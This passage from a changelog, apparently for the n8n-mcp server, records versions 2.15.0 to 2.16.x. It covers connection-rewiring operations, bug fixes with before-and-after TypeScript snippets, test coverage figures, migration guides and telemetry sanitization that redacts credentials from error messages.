manually kill processes via Task Manager after quitting Claude Desktop 1563 | - **Fix**: Added comprehensive graceful shutdown handlers for stdio mode 1564 | - SIGTERM, SIGINT, and SIGHUP signal handlers 1565 | - stdin end/close event handlers (PRIMARY shutdown mechanism for Claude Desktop) 1566 | - Robust container detection: Checks IS_DOCKER/IS_CONTAINER env vars + filesystem markers 1567 | - Supports Docker, Kubernetes, Podman, and other container runtimes 1568 | - Container mode: Signal handlers only (prevents detached mode premature shutdown) 1569 | - Claude Desktop mode: stdin + signal handlers (comprehensive coverage) 1570 | - Race condition protection with `isShuttingDown` guard 1571 | - stdin cleanup with null safety (pause + destroy) 1572 | - Graceful shutdown timeout (1000ms) to allow cleanup to complete 1573 | - Error handling with try-catch for stdin registration and shutdown 1574 | - Shutdown trigger logging for debugging (SIGTERM vs stdin close) 1575 | - Production-hardened based on comprehensive code review 1576 | - **Location**: `src/mcp/index.ts:91-132` 1577 | - **Resources Cleaned**: Cache timers and database connections properly closed via existing `shutdown()` method 1578 | - **Code Review**: Approved with recommendations implemented 1579 | - **Reporter**: @Eddy-Chahed 1580 | 1581 | ## [2.16.0] - 2025-10-06 1582 | 1583 | ### Added 1584 | 1585 | - **🎉 Issue #272 Phase 1: Connection Operations UX Improvements** 1586 | 1587 | **New: `rewireConnection` Operation** 1588 | - Intuitive operation for changing connection target from one node to another 1589 | - Syntax: `{type: "rewireConnection", source: "Node", from: "OldTarget", to: "NewTarget"}` 1590 | - Internally uses remove + add pattern but with clearer semantics 1591 | - Supports smart parameters (branch, case) for multi-output nodes 1592 | - Validates all nodes exist before making changes 1593 | - 8 comprehensive unit tests covering all scenarios 1594 | 1595 | **New: Smart Parameters for Multi-Output Nodes** 1596 | - **branch parameter for IF nodes**: Use `branch: "true"` or `branch: "false"` instead of `sourceIndex: 0/1` 1597 | - **case parameter for Switch nodes**: Use `case: 0`, `case: 1`, etc. instead of `sourceIndex` 1598 | - Semantic, intuitive syntax that matches node behavior 1599 | - Explicit sourceIndex overrides smart parameters if both provided 1600 | - Works with both `addConnection` and `rewireConnection` operations 1601 | - 8 comprehensive unit tests + 11 integration tests against real n8n API 1602 | 1603 | ### Changed 1604 | 1605 | - **⚠️ BREAKING: Removed `updateConnection` operation** 1606 | - Operation removed completely (type definition, implementation, validation, tests) 1607 | - Migration: Use `rewireConnection` or `removeConnection` + `addConnection` instead 1608 | - Reason: Confusing operation that was error-prone and rarely needed 1609 | - All tests updated (137 tests passing) 1610 | 1611 | ### Fixed 1612 | 1613 | - **🐛 CRITICAL: Issue #275, #136 - TypeError in getNodeTypeAlternatives (57.4% of production errors)** 1614 | - **Impact**: Eliminated 323 out of 563 production errors, helping 127 users (76.5% of affected users) 1615 | - **Resolves Issue #136**: "Partial Workflow Updates fail with 'Cannot convert undefined or null to object'" - defensive type guards prevent these crashes 1616 | - **Root Cause**: `getNodeTypeAlternatives()` called string methods without validating nodeType parameter 1617 | - **Fix**: Added defense-in-depth protection: 1618 | - **Layer 1**: Type guard in `getNodeTypeAlternatives()` returns empty array for invalid inputs 1619 | - **Layer 2**: Enhanced `validateToolParamsBasic()` to catch empty strings 1620 | - **Affected Tools**: `get_node_essentials` (208 errors → 0), `get_node_info` (115 errors → 0), `get_node_documentation` (17 errors → 0) 1621 | - **Testing**: 21 comprehensive unit tests, verified with n8n-mcp-tester agent 1622 | - **Commit**: f139d38 1623 | 1624 | - **Critical Bug: Smart Parameter Implementation** 1625 | - **Bug #1**: `branch` parameter initially mapped to `sourceOutput` instead of `sourceIndex` 1626 | - **Impact**: IF node connections went to wrong output (expected `IF.main[0]`, got `IF.true`) 1627 | - **Root Cause**: Misunderstood n8n's IF node connection structure 1628 | - **Fix**: Changed to correctly map `branch="true"` → `sourceIndex=0`, `branch="false"` → `sourceIndex=1` 1629 | - **Discovered by**: n8n-mcp-tester agent testing against real n8n API 1630 | - **Commit**: a7bfa73 1631 | 1632 | - **Critical Bug: Zod Schema Stripping Parameters** 1633 | - **Bug #2**: `branch`, `case`, `from`, `to` parameters stripped by Zod validation 1634 | - **Impact**: Parameters never reached diff engine, smart parameters silently failed 1635 | - **Root Cause**: Parameters not defined in Zod schema in handlers-workflow-diff.ts 1636 | - **Fix**: Added missing parameters to schema 1637 | - **Discovered by**: n8n-mcp-tester agent 1638 | - **Commit**: aeaba3b 1639 | 1640 | - **🔥 CRITICAL Bug: Array Index Corruption in Multi-Output Nodes** 1641 | - **Bug #3**: `applyRemoveConnection()` filtered empty arrays, causing index shifting in multi-output nodes 1642 | - **Impact**: PRODUCTION-BREAKING for Switch, IF with multiple handlers, Merge nodes 1643 | - **Severity**: Connections routed to wrong outputs after rewiring 1644 | - **Example**: Switch with 4 outputs `[[H0], [H1], [H2], [H3]]` → remove H1 → `[[H0], [H2], [H3]]` (indices shifted!) 1645 | - **Root Cause**: Line 697 filtered empty arrays: `connections.filter(conns => conns.length > 0)` 1646 | - **Fix**: Only remove trailing empty arrays, preserve intermediate ones to maintain index integrity 1647 | - **Code Change**: 1648 | ```typescript 1649 | // Before (BUGGY): 1650 | workflow.connections[node][output] = connections.filter(conns => conns.length > 0); 1651 | 1652 | // After (FIXED): 1653 | while (connections.length > 0 && connections[connections.length - 1].length === 0) { 1654 | connections.pop(); 1655 | } 1656 | ``` 1657 | - **Testing**: Added integration test verifying Switch node rewiring preserves all indices 1658 | - **Discovered by**: n8n-mcp-tester agent during comprehensive testing 1659 | - **Commit**: aeb7410 1660 | 1661 | - **TypeScript Compilation**: Added missing type annotations in workflow diff tests (Commit: 653f395) 1662 | 1663 | ### Improved 1664 | 1665 | - **Integration Testing**: Created comprehensive integration tests against real n8n API 1666 | - 11 tests covering IF nodes, Switch nodes, and rewireConnection 1667 | - Tests validate actual n8n workflow structure, not in-memory objects 1668 | - Would have caught both smart parameter bugs that unit tests missed 1669 | - File: `tests/integration/n8n-api/workflows/smart-parameters.test.ts` 1670 | - **Commit**: 34bafe2 1671 | 1672 | - **Documentation**: Updated MCP tool documentation 1673 | - Removed `updateConnection` references 1674 | - Added `rewireConnection` with 4 examples 1675 | - Added smart parameters section with IF and Switch examples 1676 | - Updated best practices and pitfalls 1677 | - Removed version references (AI agents see current state) 1678 | - Files: `src/mcp/tool-docs/workflow_management/n8n-update-partial-workflow.ts`, `docs/workflow-diff-examples.md` 1679 | - **Commit**: f78f53e 1680 | 1681 | ### Test Coverage 1682 | 1683 | - **Total Tests**: 178 tests passing (158 unit + 20 integration against real n8n API) 1684 | - **Coverage**: 90.98% statements, 89.86% branches, 93.02% functions 1685 | - **Quality**: Integration tests against real n8n API prevent regression 1686 | - **New Tests**: 1687 | - 21 tests for TypeError prevention (Issue #275) 1688 | - 8 tests for rewireConnection operation 1689 | - 8 tests for smart parameters 1690 | - 20 integration tests against real n8n API: 1691 | - **Multi-output nodes (sourceIndex preservation)**: 1692 | - Switch node rewiring with index preservation 1693 | - IF node empty array preservation on removal 1694 | - Switch node removing first case (production-breaking bug scenario) 1695 | - Sequential operations on Switch node 1696 | - Filter node connection rewiring 1697 | - **Multi-input nodes (targetIndex preservation)**: 1698 | - Merge node removing connection to input 0 1699 | - Merge node removing middle connection (inputs 0, 2 preserved) 1700 | - Merge node replacing source connections 1701 | - Merge node sequential operations 1702 | 1703 | ### Technical Details 1704 | 1705 | **TypeError Prevention (Issue #275):** 1706 | ```typescript 1707 | // Layer 1: Defensive utility function 1708 | export function getNodeTypeAlternatives(nodeType: string): string[] { 1709 | // Return empty array for invalid inputs instead of crashing 1710 | if (!nodeType || typeof nodeType !== 'string' || nodeType.trim() === '') { 1711 | return []; 1712 | } 1713 | // ... rest of function 1714 | } 1715 | 1716 | // Layer 2: Enhanced validation 1717 | if (param === '') { 1718 | errors.push(`String parameters cannot be empty. Parameter '${key}' has value: ""`); 1719 | } 1720 | ``` 1721 | 1722 | **Smart Parameters Resolution:** 1723 | ```typescript 1724 | // Resolve branch parameter for IF nodes 1725 | if (operation.branch !== undefined && operation.sourceIndex === undefined) { 1726 | if (sourceNode?.type === 'n8n-nodes-base.if') { 1727 | sourceIndex = operation.branch === 'true' ? 0 : 1; 1728 | // sourceOutput remains 'main' 1729 | } 1730 | } 1731 | 1732 | // Resolve case parameter for Switch nodes 1733 | if (operation.case !== undefined && operation.sourceIndex === undefined) { 1734 | sourceIndex = operation.case; 1735 | } 1736 | ``` 1737 | 1738 | **Real n8n IF Node Structure:** 1739 | ```json 1740 | "IF": { 1741 | "main": [ 1742 | [/* true branch connections, index 0 */], 1743 | [/* false branch connections, index 1 */] 1744 | ] 1745 | } 1746 | ``` 1747 | 1748 | ### Migration Guide 1749 | 1750 | **Before (v2.15.7):** 1751 | ```typescript 1752 | // Old way: updateConnection (REMOVED) 1753 | {type: "updateConnection", source: "Webhook", target: "Handler", updates: {...}} 1754 | 1755 | // Old way: Multi-output nodes (still works) 1756 | {type: "addConnection", source: "IF", target: "Success", sourceIndex: 0} 1757 | ``` 1758 | 1759 | **After (v2.16.0):** 1760 | ```typescript 1761 | // New way: rewireConnection 1762 | {type: "rewireConnection", source: "Webhook", from: "OldHandler", to: "NewHandler"} 1763 | 1764 | // New way: Smart parameters (recommended) 1765 | {type: "addConnection", source: "IF", target: "Success", branch: "true"} 1766 | {type: "addConnection", source: "IF", target: "Error", branch: "false"} 1767 | {type: "addConnection", source: "Switch", target: "Handler", case: 0} 1768 | ``` 1769 | 1770 | ### Impact Summary 1771 | 1772 | **Production Error Reduction:** 1773 | - Issue #275 fix: -323 errors (-57.4% of total production errors) 1774 | - Helps 127 users (76.5% of users experiencing errors) 1775 | 1776 | **UX Improvements:** 1777 | - Semantic parameters make multi-output node connections intuitive 1778 | - `rewireConnection` provides clear intent for connection changes 1779 | - Integration tests ensure production reliability 1780 | 1781 | **Breaking Changes:** 1782 | - `updateConnection` removed (use `rewireConnection` or manual remove+add) 1783 | 1784 | ### References 1785 | 1786 | - **Issue #272**: Connection operations improvements (Phase 0 + Phase 1) 1787 | - **Issue #204**: Differential update failures on Windows 1788 | - **Issue #275**: TypeError in getNodeTypeAlternatives 1789 | - **Issue #136**: Partial Workflow Updates fail with "Cannot convert undefined or null to object" (resolved by defensive type guards) 1790 | - **Commits**: 1791 | - Phase 0: cfe3c5e, 653f395, 2a85000 1792 | - Phase 1: f9194ee, ee125c5, a7bfa73, aeaba3b, 34bafe2, c6e0e52, f78f53e 1793 | - Issue #275/#136: f139d38 1794 | 1795 | ## [2.15.7] - 2025-10-05 1796 | 1797 | ### Fixed 1798 | 1799 | - **🐛 CRITICAL: Issue #272, #204 - Connection Operations Phase 0 Fixes** 1800 | 1801 | **Bug #1: Multi-Output Node Routing Broken** 1802 | - **Problem**: `addConnection` ignored `sourceIndex` parameter due to `||` operator treating `0` as falsy 1803 | - **Impact**: IF nodes, Switch nodes, and all conditional routing completely broken 1804 | - **Root Cause**: Used `operation.sourceIndex || 0` instead of `operation.sourceIndex ?? 0` 1805 | - **Fix**: Changed to nullish coalescing (`??`) operator to properly handle explicit `0` values 1806 | - **Added**: Defensive array validation before index access 1807 | - **Result**: Multi-output nodes now work reliably (rating improved 3/10 → 9/10) 1808 | - **Test Coverage**: 6 comprehensive tests covering IF nodes, Switch nodes, and parallel execution 1809 | 1810 | **Bug #2: Server Crashes from Missing `updates` Object** 1811 | - **Problem**: `updateConnection` without `updates` object caused server crash with "Cannot read properties of undefined" 1812 | - **Impact**: Malformed requests from AI agents crashed the MCP server 1813 | - **Fix**: Added runtime validation with comprehensive error message 1814 | - **Error Message Quality**: 1815 | - Shows what was provided (JSON.stringify of operation) 1816 | - Explains what's wrong and why 1817 | - Provides correct format with example 1818 | - Suggests alternative approach (removeConnection + addConnection) 1819 | - **Result**: No crashes, self-service troubleshooting enabled (rating improved 2/10 → 8/10) 1820 | - **Test Coverage**: 2 tests for missing and invalid `updates` object 1821 | 1822 | ### Improved 1823 | 1824 | - **Connection Operations Overall Experience**: 4.5/10 → 8.5/10 (+89% improvement) 1825 | - **Error Handling**: Helpful, actionable error messages instead of cryptic crashes 1826 | - **Documentation**: Updated tool docs with Phase 0 fix notes and new pitfall warnings 1827 | - **Developer Experience**: Better use of nullish coalescing, defensive programming patterns 1828 | 1829 | ### Test Coverage 1830 | 1831 | - Total Tests: 126/126 passing (100%) 1832 | - New Tests: 8 comprehensive tests for Phase 0 fixes 1833 | - Coverage: 91.16% statements, 88.14% branches, 92.85% functions 1834 | - Test Quality: All edge cases covered, strong assertions, independent test isolation 1835 | 1836 | ### Technical Details 1837 | 1838 | **Multi-Output Node Fix:** 1839 | ```typescript 1840 | // Before (BROKEN): 1841 | const sourceIndex = operation.sourceIndex || 0; // 0 treated as falsy! 1842 | 1843 | // After (FIXED): 1844 | const sourceIndex = operation.sourceIndex ?? 0; // explicit 0 preserved 1845 | ``` 1846 | 1847 | **Runtime Validation Fix:** 1848 | ```typescript 1849 | // Added comprehensive validation: 1850 | if (!operation.updates || typeof operation.updates !== 'object') { 1851 | throw new Error(/* helpful 15-line error message */); 1852 | } 1853 | ``` 1854 | 1855 | ### References 1856 | 1857 | - Issue #272: Connection operations failing (Polish language issue report) 1858 | - Issue #204: Differential update failures on Windows 1859 | - Analysis Document: `docs/local/connection-operations-deep-dive-and-improvement-plan.md` (2176 lines) 1860 | - Testing: Hands-on validation with n8n-mcp-tester agent 1861 | - Code Review: Comprehensive review against improvement plan 1862 | 1863 | ### Phase 1 Roadmap 1864 | 1865 | Phase 0 addressed critical bugs. Future Phase 1 improvements planned: 1866 | - Add `rewireConnection` operation for intuitive connection rewiring 1867 | - Add smart parameters (`branch` for IF nodes, `case` for Switch nodes) 1868 | - Enhanced error messages with spell-checking 1869 | - Deprecation path for `updateConnection` 1870 | 1871 | ## [2.15.6] - 2025-10-05 1872 | 1873 | ### Fixed 1874 | - **Issue #269: Missing addNode Examples** - Added comprehensive examples for addNode operation in MCP tool documentation 1875 | - Problem: Claude AI didn't know how to use addNode operation correctly due to zero examples in documentation 1876 | - Solution: Added 4 progressive examples to `n8n_update_partial_workflow` tool documentation: 1877 | 1. Basic addNode (minimal configuration) 1878 | 2. Complete addNode (full parameters including typeVersion) 1879 | 3. addNode + addConnection combo (most common pattern) 1880 | 4. Batch operation (multiple nodes + connections) 1881 | - Impact: AI assistants can now correctly use addNode without errors or trial-and-error 1882 | 1883 | - **Issue #270: Apostrophes in Node Names** - Fixed workflow diff operations failing when node names contain special characters 1884 | - Root Cause: `findNode()` method used exact string matching without normalization, causing escaped vs unescaped character mismatches 1885 | - Example: Default Manual Trigger node name "When clicking 'Execute workflow'" failed when JSON-RPC sent escaped version "When clicking \\'Execute workflow\\'" 1886 | - Solution: Added `normalizeNodeName()` helper that unescapes special characters (quotes, backslashes) and normalizes whitespace 1887 | - Affected Operations: 8 operations fixed - addConnection, removeConnection, updateConnection, removeNode, updateNode, moveNode, enableNode, disableNode 1888 | - Error Messages: Enhanced all validation methods with `formatNodeNotFoundError()` helper showing available nodes and suggesting node IDs for special characters 1889 | - Duplicate Prevention: Fixed `validateAddNode()` to use normalization when checking for duplicate node names 1890 | 1891 | ### Changed 1892 | - **WorkflowDiffEngine String Normalization** - Enhanced to handle edge cases from code review 1893 | - Regex Processing Order: Fixed critical bug - now processes backslashes BEFORE quotes (prevents multiply-escaped character failures) 1894 | - Whitespace Handling: Comprehensive normalization of tabs, newlines, and mixed whitespace (prevents collision edge cases) 1895 | - Documentation: Added detailed JSDoc warnings about normalization collision risks with examples 1896 | - Best Practice: Documentation recommends using node IDs over names for special characters 1897 | 1898 | ### Technical Details 1899 | - **Normalization Algorithm**: 4-step process 1900 | 1. Trim leading/trailing whitespace 1901 | 2. Unescape backslashes (MUST be first!) 1902 | 3. Unescape single and double quotes 1903 | 4. Normalize all whitespace to single spaces 1904 | - **Error Message Format**: Now shows node IDs (first 8 chars) and suggests using IDs for special characters 1905 | - **Collision Prevention**: Duplicate checking uses same normalization to prevent subtle bugs 1906 | 1907 | ### Test Coverage 1908 | - Unit tests: 120/120 passing (up from 116) 1909 | - New test scenarios: 1910 | - Tabs in node names 1911 | - Newlines in node names 1912 | - Mixed whitespace (tabs + newlines + spaces) 1913 | - Escaped vs unescaped matching (core Issue #270 scenario) 1914 | - Coverage: 90.11% statements (up from 90.05%) 1915 | 1916 | ### Code Review 1917 | - All 6 MUST FIX and SHOULD FIX recommendations implemented: 1918 | - ✅ Fixed regex processing order (critical bug) 1919 | - ✅ Added comprehensive whitespace tests 1920 | - ✅ Fixed duplicate checking normalization 1921 | - ✅ Enhanced all 6 validation method error messages 1922 | - ✅ Added comprehensive JSDoc documentation 1923 | - ✅ Added escaped vs unescaped test case 1924 | - Final review: APPROVED FOR MERGE (production-ready) 1925 | 1926 | ### Impact 1927 | - **Workflow Operations**: All 8 affected operations now handle special characters correctly 1928 | - **User Experience**: Clear error messages with actionable suggestions 1929 | - **Reliability**: Comprehensive normalization prevents subtle bugs 1930 | - **Documentation**: Tool documentation updated to reflect fix (v2.15.6+) 1931 | 1932 | ## [2.15.5] - 2025-10-04 1933 | 1934 | ### Added 1935 | - **Phase 5 Integration Tests** - Comprehensive workflow management tests (16 scenarios) 1936 | - `delete-workflow.test.ts`: 3 test scenarios 1937 | - Successful deletion 1938 | - Error handling for non-existent workflows 1939 | - Cleanup verification (workflow actually deleted from n8n) 1940 | - `list-workflows.test.ts`: 13 test scenarios 1941 | - No filters (all workflows) 1942 | - Filter by active status (true/false) 1943 | - Pagination (first page, cursor, last page) 1944 | - Limit variations (1, 50, 100) 1945 | - Exclude pinned data 1946 | - Empty results handling 1947 | - Sort order consistency verification 1948 | 1949 | ### Fixed 1950 | - **handleDeleteWorkflow** - Now returns deleted workflow data in response 1951 | - Before: Returned only success message 1952 | - After: Returns deleted workflow object per n8n API specification 1953 | - Impact: MCP tool consumers can access deleted workflow data for confirmation, logging, or undo operations 1954 | 1955 | - **handleListWorkflows Tags Filter** - Fixed tags parameter format for n8n API compliance 1956 | - Before: Sent tags as array `?tags[]=tag1&tags[]=tag2` (non-functional) 1957 | - After: Converts to comma-separated string `?tags=tag1,tag2` per n8n OpenAPI spec 1958 | - Impact: Tags filtering now works correctly when listing workflows 1959 | - Implementation: `input.tags.join(',')` conversion in handler 1960 | 1961 | - **N8nApiClient.deleteWorkflow** - Return type now matches n8n API specification 1962 | - Before: `Promise<void>` 1963 | - After: `Promise<Workflow>` (returns deleted workflow object) 1964 | - Impact: Aligns with n8n API behavior where DELETE returns the deleted resource 1965 | 1966 | ### Changed 1967 | - **WorkflowListParams.tags** - Type changed for API compliance 1968 | - Before: `tags?: string[] | null` (incorrect) 1969 | - After: `tags?: string | null` (comma-separated string per n8n OpenAPI spec) 1970 | - Impact: Type safety now matches actual API behavior 1971 | 1972 | ### Technical Details 1973 | - **API Compliance**: All fixes align with n8n OpenAPI specification 1974 | - **Backward Compatibility**: Handler maintains existing MCP tool interface (array input converted internally) 1975 | - **Type Safety**: TypeScript types now accurately reflect n8n API contracts 1976 | 1977 | ### Test Coverage 1978 | - Integration tests: 71/71 passing (Phase 1-5 complete) 1979 | - Total test scenarios across all phases: 87 1980 | - New coverage: 1981 | - Workflow deletion: 3 scenarios 1982 | - Workflow listing with filters: 13 scenarios 1983 | 1984 | ### Impact 1985 | - **DELETE workflows**: Now returns workflow data for verification 1986 | - **List with tags**: Tag filtering now functional (was broken before) 1987 | - **API alignment**: Implementation correctly matches n8n OpenAPI specification 1988 | - **Test reliability**: All integration tests passing in CI 1989 | 1990 | ## [2.15.4] - 2025-10-04 1991 | 1992 | ### Fixed 1993 | - **Workflow Settings Updates** - Enhanced `cleanWorkflowForUpdate` to enable settings updates while maintaining Issue #248 protection 1994 | - Changed from always overwriting settings with `{}` to filtering to whitelisted properties 1995 | - Filters settings to OpenAPI spec whitelisted properties: `saveExecutionProgress`, `saveManualExecutions`, `saveDataErrorExecution`, `saveDataSuccessExecution`, `executionTimeout`, `errorWorkflow`, `timezone`, `executionOrder` 1996 | - Removes unsafe properties like `callerPolicy` that cause "additional properties" API errors 1997 | - Maintains backward compatibility: empty object `{}` still used when no settings provided 1998 | - Resolves conflict between preventing Issue #248 errors and enabling legitimate settings updates 1999 | 2000 | - **Phase 4 Integration Tests** - Fixed workflow update tests to comply with n8n API requirements 2001 | - Updated all `handleUpdateWorkflow` tests to include required fields: `name`, `nodes`, `connections`, `settings` 2002 | - Tests now fetch current workflow state before updates to obtain required fields 2003 | - Removed invalid "Update Connections" test that attempted to set empty connections on multi-node workflow (architecturally invalid) 2004 | - All 42 workflow update test scenarios now passing 2005 | 2006 | ### Changed 2007 | - **Settings Filtering Strategy** - Updated `cleanWorkflowForUpdate()` implementation 2008 | - Before: Always set `settings = {}` (prevented all settings updates) 2009 | - After: Filter to whitelisted properties (allows valid updates, blocks problematic ones) 2010 | - Impact: Users can now update workflow settings via API while staying protected from validation errors 2011 | 2012 | ### Technical Details 2013 | - **Whitelist-based Filtering**: Implements principle of least privilege for settings properties 2014 | - **Reference**: Properties validated against n8n OpenAPI specification `workflowSettings` schema 2015 | - **Security**: More secure than blacklist approach (fails safe, unknown properties filtered) 2016 | - **Performance**: Filtering adds <1ms overhead per workflow update 2017 | 2018 | ### Test Coverage 2019 | - Unit tests: 72/72 passing (100% coverage for n8n-validation) 2020 | - Integration tests: 433/433 passing (Phase 4 complete) 2021 | - Test scenarios: 2022 | - Settings filtering with safe/unsafe property combinations 2023 | - Empty settings handling 2024 | - Backward compatibility verification 2025 | - Multi-node workflow connection validation 2026 | 2027 | ### Impact 2028 | - **Settings Updates**: Users can now update workflow settings (timezone, executionOrder, etc.) via API 2029 | - **Issue #248 Protection Maintained**: `callerPolicy` and other problematic properties still filtered 2030 | - **Test Reliability**: All Phase 4 integration tests passing in CI 2031 | - **API Compliance**: Tests correctly implement n8n API requirements for workflow updates 2032 | 2033 | ## [2.15.3] - 2025-10-03 2034 | 2035 | ### Added 2036 | - **Error Message Capture in Telemetry** - Enhanced telemetry tracking to capture actual error messages for better debugging 2037 | - Added optional `errorMessage` parameter to `trackError()` method 2038 | - Comprehensive error message sanitization to protect sensitive data 2039 | - Updated all production and test call sites to pass error messages 2040 | - Error messages now stored in telemetry events table for analysis 2041 | 2042 | ### Security 2043 | - **Enhanced Error Message Sanitization** - Comprehensive security hardening for telemetry data 2044 | - **ReDoS Prevention**: Early truncation to 1500 chars before regex processing 2045 | - **Full URL Redaction**: Changed from `[URL]/path` to `[URL]` to prevent API structure leakage 2046 | - **Correct Sanitization Order**: URLs → specific credentials → emails → generic patterns 2047 | - **Credential Pattern Detection**: Added AWS keys, GitHub tokens, JWT, Bearer tokens 2048 | - **Error Handling**: Try-catch wrapper with `[SANITIZATION_FAILED]` fallback 2049 | - **Stack Trace Truncation**: Limited to first 3 lines to reduce attack surface 2050 | 2051 | ### Fixed 2052 | - **Missing Error Messages**: Resolved issue where 272+ weekly validation errors had no error messages captured 2053 | - **Data Leakage**: Fixed URL path preservation exposing API versions and user IDs 2054 | - **Email Exposure**: Fixed sanitization order allowing emails in URLs to leak 2055 | - **ReDoS Vulnerability**: Removed complex capturing regex patterns that could cause performance issues 2056 | 2057 | ### Changed 2058 | - **Breaking Change**: `trackError()` signature updated with 4th parameter `errorMessage?: string` 2059 | - All internal call sites updated in single commit (atomic change) 2060 | - Not backwards compatible but acceptable as all code is internal 2061 | 2062 | ### Technical Details 2063 | - **Sanitization Patterns**: 2064 | - AWS Keys: `AKIA[A-Z0-9]{16}` → `[AWS_KEY]` 2065 | - GitHub Tokens: `ghp_[a-zA-Z0-9]{36,}` → `[GITHUB_TOKEN]` 2066 | - JWT: `eyJ[a-zA-Z0-9_-]+\.eyJ[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+` → `[JWT]` 2067 | - Bearer Tokens: `Bearer [^\s]+` → `Bearer [TOKEN]` 2068 | - Emails: `[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}` → `[EMAIL]` 2069 | - Long Keys: `\b[a-zA-Z0-9_-]{32,}\b` → `[KEY]` 2070 | - Generic Credentials: `password/api_key/token=<value>` → `<field>=[REDACTED]` 2071 | 2072 | ### Test Coverage 2073 | - Added 18 new security-focused tests 2074 | - Total telemetry tests: 269 passing 2075 | - Coverage: 90.75% for telemetry module 2076 | - All security patterns validated with edge cases 2077 | 2078 | ### Performance 2079 | - Early truncation prevents ReDoS attacks 2080 | - Simplified regex patterns (no complex capturing groups) 2081 | - Sanitization adds <1ms overhead per error 2082 | - Final message truncated to 500 chars max 2083 | 2084 | ### Impact 2085 | - **Debugging**: Error messages now available for root cause analysis 2086 | - **Security**: Comprehensive protection against credential leakage 2087 | - **Performance**: Protected against ReDoS attacks 2088 | - **Reliability**: Try-catch ensures sanitization never breaks telemetry 2089 | 2090 | ## [2.15.2] - 2025-10-03 2091 | 2092 | ### Fixed 2093 | - **Template Search Performance & Reliability** - Enhanced `search_templates_by_metadata` with production-ready improvements 2094 | - **Ordering Stability**: Implemented CTE with VALUES clause to preserve exact Phase 1 ordering 2095 | - Prevents ordering discrepancies between ID selection and data fetch phases 2096 | - Ensures deterministic results across query phases 2097 | - **Defensive ID Validation**: Added type safety filters before Phase 2 query 2098 | - Validates only positive integers are used in the CTE 2099 | - Logs warnings for filtered invalid IDs 2100 | - **Performance Monitoring**: Added detailed timing metrics (phase1Ms, phase2Ms, totalMs) 2101 | - Enables quantifying optimization benefits 2102 | - Debug logging for all search operations 2103 | - **DRY Refactoring**: Extracted `buildMetadataFilterConditions` helper method 2104 | - Eliminates duplication between `searchTemplatesByMetadata` and `getMetadataSearchCount` 2105 | - Centralized filter-building logic 2106 | 2107 | ### Added 2108 | - **Comprehensive Test Coverage** - 31 new unit tests achieving 100% coverage for changed code 2109 | - `buildMetadataFilterConditions` - All filter combinations (11 tests) 2110 | - Performance logging validation (3 tests) 2111 | - ID filtering edge cases - negative, zero, non-integer, null (7 tests) 2112 | - `getMetadataSearchCount` - Shared helper usage (7 tests) 2113 | - Two-phase query optimization verification (3 tests) 2114 | - Fixed flaky integration tests with deterministic ordering using unique view counts 2115 | 2116 | ### Performance 2117 | - Query optimization maintains sub-1ms Phase 1 performance 2118 | - Two-phase approach prevents timeout on large template sets 2119 | - CTE-based ordering adds negligible overhead (<1ms) 2120 | 2121 | ### Test Results 2122 | - Unit tests: 31 new tests, all passing 2123 | - Integration tests: 36 passing, 1 skipped 2124 | - **Coverage**: 100% for changed code (previously 36.58% patch coverage) 2125 | 2126 | ## [2.15.0] - 2025-10-02 2127 | 2128 | ### 🚀 Major Features 2129 | 2130 | #### P0-R3: Pre-extracted Template Configurations 2131 | - **Template-Based Configuration System** - 2,646 real-world node configurations from popular templates 2132 | - Pre-extracted node configurations from all workflow templates 2133 | - Ranked by template popularity (views) 2134 | - Includes metadata: complexity, use cases, credentials, expressions 2135 | - Query performance: <1ms (vs 30-60ms with previous system) 2136 | - Database size increase: ~513 KB for 2,000+ configurations 2137 | 2138 | ### Breaking Changes 2139 | 2140 | #### Removed: `get_node_for_task` Tool 2141 | - **Reason**: Only 31 hardcoded tasks, 28% failure rate in production 2142 | - **Replacement**: Template-based examples with 2,646 real configurations 2143 | 2144 | #### Migration Guide 2145 | 2146 | **Before (v2.14.7):** 2147 | ```javascript 2148 | // Get configuration for a task 2149 | get_node_for_task({ task: "receive_webhook" }) 2150 | ``` 2151 | 2152 | **After (v2.15.0):** 2153 | ```javascript 2154 | // Option 1: Search nodes with examples 2155 | search_nodes({ 2156 | query: "webhook", 2157 | includeExamples: true 2158 | }) 2159 | // Returns: Top 2 real template configs per node 2160 | 2161 | // Option 2: Get node essentials with examples 2162 | get_node_essentials({ 2163 | nodeType: "nodes-base.webhook", 2164 | includeExamples: true 2165 | }) 2166 | // Returns: Top 3 real template configs with full metadata 2167 | ``` 2168 | 2169 | ### Added 2170 | 2171 | - **Enhanced `search_nodes` Tool** 2172 | - New parameter: `includeExamples` (boolean, default: false) 2173 | - Returns top 2 real-world configurations per node from popular templates 2174 | - Includes: configuration, template name, view count 2175 | 2176 | - **Enhanced `get_node_essentials` Tool** 2177 | - New parameter: `includeExamples` (boolean, default: false) 2178 | - Returns top 3 real-world configurations with full metadata 2179 | - Includes: configuration, source template, complexity, use cases, credentials info 2180 | 2181 | - **Database Schema** 2182 | - New table: `template_node_configs` - Pre-extracted node configurations 2183 | - New view: `ranked_node_configs` - Easy access to top 5 configs per node 2184 | - Optimized indexes for fast queries (<1ms) 2185 | 2186 | - **Template Processing** 2187 | - Automatic config extraction during `npm run fetch:templates` 2188 | - Standalone extraction mode: `npm run fetch:templates:extract` 2189 | - Expression detection ({{...}}, $json, $node) 2190 | - Complexity analysis and use case extraction 2191 | - Ranking by template popularity 2192 | - Auto-creates `template_node_configs` table if missing 2193 | 2194 | - **Comprehensive Test Suite** 2195 | - 85+ tests covering all aspects of template configuration system 2196 | - Integration tests for database operations and end-to-end workflows 2197 | - Unit tests for tool parameters, extraction logic, and ranking algorithm 2198 | - Fixtures for consistent test data across test suites 2199 | - Test documentation in P0-R3-TEST-PLAN.md 2200 | 2201 | ### Removed 2202 | 2203 | - Tool: `get_node_for_task` (see Breaking Changes above) 2204 | - Tool documentation: `get-node-for-task.ts` 2205 | 2206 | ### Fixed 2207 | 2208 | - **`search_nodes` includeExamples Support** 2209 | - Fixed `includeExamples` parameter not working due to missing FTS5 table 2210 | - Added example support to `searchNodesLIKE` fallback method 2211 | - Now returns template-based examples in all search scenarios 2212 | - Affects 100% of search_nodes calls (database lacks nodes_fts table) 2213 | 2214 | ### Deprecated 2215 | 2216 | - `TaskTemplates` service marked for removal in v2.16.0 2217 | - `list_tasks` tool marked for deprecation (use template search instead) 2218 | 2219 | ### Performance 2220 | 2221 | - Query time: <1ms for pre-extracted configs (vs 30-60ms for on-demand 